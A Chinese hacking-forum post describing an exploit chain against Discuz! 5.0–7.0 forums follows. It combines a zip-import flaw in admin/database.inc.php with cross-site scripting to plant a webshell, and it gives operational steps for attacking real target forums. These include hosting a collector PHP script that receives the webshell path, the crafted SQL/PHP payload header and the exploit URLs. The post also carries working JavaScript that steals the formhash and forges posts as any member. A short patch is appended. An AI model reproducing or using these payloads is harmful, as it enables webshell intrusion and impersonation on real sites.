by racle @tian6.com
欢迎转帖,但请保留版权信息
受影响版本
Discuz 5.0 _ 5.5 _ 6.0 _ 6.1 _ 7.0 gbk+utf+big5database任意路径解压缩漏洞官方已经补了,目前这个方法已经无法得到WEBSHELL.冒充别人发帖,删帖,改帖应该不受影响.特此通知.-----------------------------------------------------------
前言-------------------------------------------------------------------------
最近DZ漏洞多多,而且都比较有趣.上次天阳公布的后台修改配置信息的漏洞,因为DZ6.1以后版本都默认补了,相信不少小黑很失望.但是最近,Superhei&ring04h又爆出了一个后台database.inc.php的漏洞,该洞目前为止没补丁.一个XSS点或者FLASH-XSS,CRSF,所有DZ版本通杀.
这个漏洞本身需要后台权限,怎么才能以普通会员身份所用?分析过程中幸得
Superhei提点.加快了进度.在此感谢.
本帖受TIM邀请发布~~需要注意的一点是这个EXP是非常有争对和目标性的,一般是做有争对性的攻击时使用.我非常建议你先好好看看本文和相关的3个帖子.用之前需要勘察对方论坛的版本,上传目录是否更改过,存在哪些XSS问题.然后在把这个EXP做相应修改,再开始使用.这样只要你的方法对路,自然能获得其WEBSHELL.
附件密码回复可见.回帖的朋友,再送你一个意外惊喜.这里只做技术研究,点到为止,同时为大家附上修补方法,回复可见!
本论坛相关的三篇文章:
[已更新]Discuz XSS得webshell配合Discuz得shell-Flash XSS立刻送上一个DZ XSS.哈哈.-------------------------------------------------
原漏洞详细解析-----------------------------------------------------------------------------
这里引用该漏洞原来的介绍:
- Discuz! admin\database.inc.php get-webshell bug
- author: ring04h
- team:http://www.80vul.com
- [该漏洞由ring04h发现并且投递,thx]
- 由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell.
- 一 分析
- 在文件admin\database.inc.php里代码:
- .....
- elseif($operation == 'importzip') {
- require_once DISCUZ_ROOT.'admin/zip.func.php';
- $unzip = new SimpleUnzip();
- $unzip->ReadFile($datafile_server);
- if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match("/\.sql$/i", $importfile = $unzip->GetName(0))) {
- cpmsg('database_import_file_illegal', '', 'error');
- }
- $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256))));
- $confirm = !empty($confirm) ? 1 : 0;
- if(!$confirm && $identify[1] != $version) {
- cpmsg('database_import_confirm', 'admincp.php?action=database&operation=importzip&datafile_server=$datafile_server&importsubmit=yes&confirm=yes', 'form');
- }
- $sqlfilecount = 0;
- foreach($unzip->Entries as $entry) {
- if(preg_match("/\.sql$/i", $entry->Name)) {
- $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
- fwrite($fp, $entry->Data);
- fclose($fp);
- $sqlfilecount++;
- }
- }
- ......
- 注意2点
- 1. preg_match("/\.sql$/i", $importfile = $unzip->GetName(0)) 可以利用apache的特性如081127_k4pFUs3C-1.php.sql这样类似的文件.
- 2. $identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", substr($unzip->GetData(0), 0, 256)))); 所以要注意文件格式:[可以先备用下然后修改打包为zip]
- # Identify: MTIyNzc1NzEyNSw2LjEuMCxkaXNjdXosbXVsdGl2b2wsMQ==
- # <?phpinfo();?>
- # <?exit();?>
- # Discuz! Multi-Volume Data Dump Vol.1
- # Version: Discuz! 6.1.0
- # Time: 2008-11-27 11:38
- # Type: discuz
- # Table Prefix: cdb_
- 二 利用
- 提交:
- <6.0 :admincp.php?action=importzip&datafile_server=./附件路径/附件名.zip&importsubmit=yes
- =6.1 :admincp.php?action=database&operation=importzip&datafile_server=./附件路径/附件名称.zip&importsubmit=yes&frames=yes
- 三 补丁[fix]
- 缺
复制代码 漏洞起因很清楚了,疏忽大意是安全最大的敌人.
------------------------------------------------
大至XSS广泛利用原理---------------------------------------------------------------------
很简单,还是XSS等延伸.
XSS跳到JS,JS获得管理员HASH,模拟POST+GET提交这个备份数据库解压缩工作.这里关键主要两个:
一是上传后的物理路径如何获得.
二是备份后的路径如何获得.
一采用读取后台管理信息取得.
二通过geturl发送到外部文件中去.
其他的所有技术细节,在上面两篇文章都有说过.欢迎大家回去看看.
-------------------------------------------------------
广泛利用及测试办法---------------------------------------------------------------------
附件提供3个附件,分别争对
DZ 6.0 6.1 7.0三个版本.其他版本和这三个版本的差别主要在数据库导出的文件版本不同,还有一些很细微的小差异,我就不弄了.你有需要的话,自己看前面的帖子,搞明白怎么回事,就可以自己改了.
每个附件里面有3个文件,一个PHP,一个JS,一个ZIP.
JS文件里面要修改1个小地方,里面都有说明.这里就不多说了.racle.php要放到你自己的空间里,要支持PHP的空间.这个文件当管理员中招以后,会在同目录位置写出个listdewebshell.txt,里面是你的WEBSHELL所在位置.
racle.js是要XSS的JS文件.放哪里都可以.
racle2@tian6.zip是你要上传到该论坛的压缩文件.
利用具体步骤为:找到目标论坛,注册一个用户,然后上传一个
racle2@tian6.zip.然后把PHP放在你的空间,把JS也放好,然后在目标论坛XSS这个racle.js,然后就等.一旦PHP文件同目录下出现了listdewebshell.txt,你就可以偷笑了.
测试具体步骤为:本地搭建任一版本DZ,随便选一个PHP,在最前面加上<script src=racle.js></script>,同时racle.js,racle.php放在该PHP同目录下,进入论坛,点击包含JS的PHP文件,即产生listdewebshell.txt.
-------------------------------------------------------
注意事项---------------------------------------------------------------------
目前该漏洞属于通杀,也就是管理员中了你的XSS,就有WEBSHELL.DZ官网也如此.
但是有几个原则问题要说明一下:
首先是对方论坛的上传路径,上传文件目录什么的,要求没有改过.一般99%都没改过.改过也不是没办法,你先上传个图片,看看对方的物理路径是什么,然后改改文件就PASS了.
其次是你在别人论坛注册的用户名不要上传别的文件,只上传一次相应的ZIP.
然后是这几个ZIP文件我不保证也能用在别人的版本上,按道理是没问题的.这几个ZIP就是数据库备份出来的SQL文件的修改压缩版本.你不妨打开这些ZIP文件里面的SQL文件看看就知道我改了什么.
如果你使用出现什么bugs,欢迎回贴告诉我.能解决就解决掉~~
-----------------------------------------------
解压密码及意外惊喜----------------------------------------------------------------
本帖隐藏的内容需要回复才可以浏览
密码为:
tian6.comismydude既然你回帖了,就再另外送你一个XSS,冒充论坛任意成员在任意版块发任何帖的JS.纯属娱乐,希望大家不要捣乱.转帖也要注明出处.racle@tian6.com.效果也是通杀所有DZ论坛版本.这个是6.1版本的.不同版本有很小差异,自己改改就可以了.
- var url="http://论坛地址/";
- var subject="what a funny subject~~^^"; //帖子标题
- var contenu="what is racle?"; //帖子内容
- var channelid="2";想要对方发在版块的ID.
- var request = false;
- if(window.XMLHttpRequest) {
- request = new XMLHttpRequest();
- if(request.overrideMimeType) {
- request.overrideMimeType('text/xml');
- }
- } else if(window.ActiveXObject) {
- var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- for(var i=0; i<versions.length; i++) {
- try {
- request = new ActiveXObject(versions[i]);
- } catch(e) {}
- }
- }
- xmlHttpReq=request;
- /*hash*/
- xmlHttpReq.open("GET", url+"memcp.php", false);
- xmlHttpReq.send(null);
- var resource = xmlHttpReq.responseText;
- var numero = resource.search(/formhash/);
- var formhash=encodeURIComponent(resource.substr(numero+9,8));
- var post=decodeURI("formhash="+formhash+"&frombbs=1&subject="+subject+"&posteditor_mediatyperadio=on&message="+contenu+"&attach[]=&filename===&localid[]=&attachperm[]=0&attachprice[]=0&attachdesc[]=&attach[]=&filename===&localid[]=1&attachperm[]=0&attachprice[]=0&attachdesc[]=&tags=&readperm=0&price=0&iconid=0&wysiwyg=0");
- xmlHttpReq.open("POST",url+"post.php?action=newthread&fid="+channelid+"&extra=page%3D1&topicsubmit=yes",false);
- xmlHttpReq.setRequestHeader("Referer", url);
- xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
- xmlHttpReq.setRequestHeader("content-length",post.length);
- xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
- xmlHttpReq.send(post);
复制代码 附上database.inc.php漏洞修补办法:
- admin\database.inc.php
- 搜索$sqlfilecount = 0;,找到
- $sqlfilecount = 0;
- foreach($unzip->Entries as $entry) {
- if(preg_match("/\.sql$/i", $entry->Name)) {
- $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
- fwrite($fp, $entry->Data);
- fclose($fp);
- $sqlfilecount++;
- 改成
- $sqlfilecount = 0;
- foreach($unzip->Entries as $entry) {
- if(preg_match("/\.sql$/i", $entry->Name)) {
- $fp = fopen('./forumdata/'.$backupdir.'/'.$entry->Name, 'w');
- fwrite($fp, '<?php exit;?>');
- fwrite($fp, $entry->Data);
- fclose($fp);
- $sqlfilecount++;
复制代码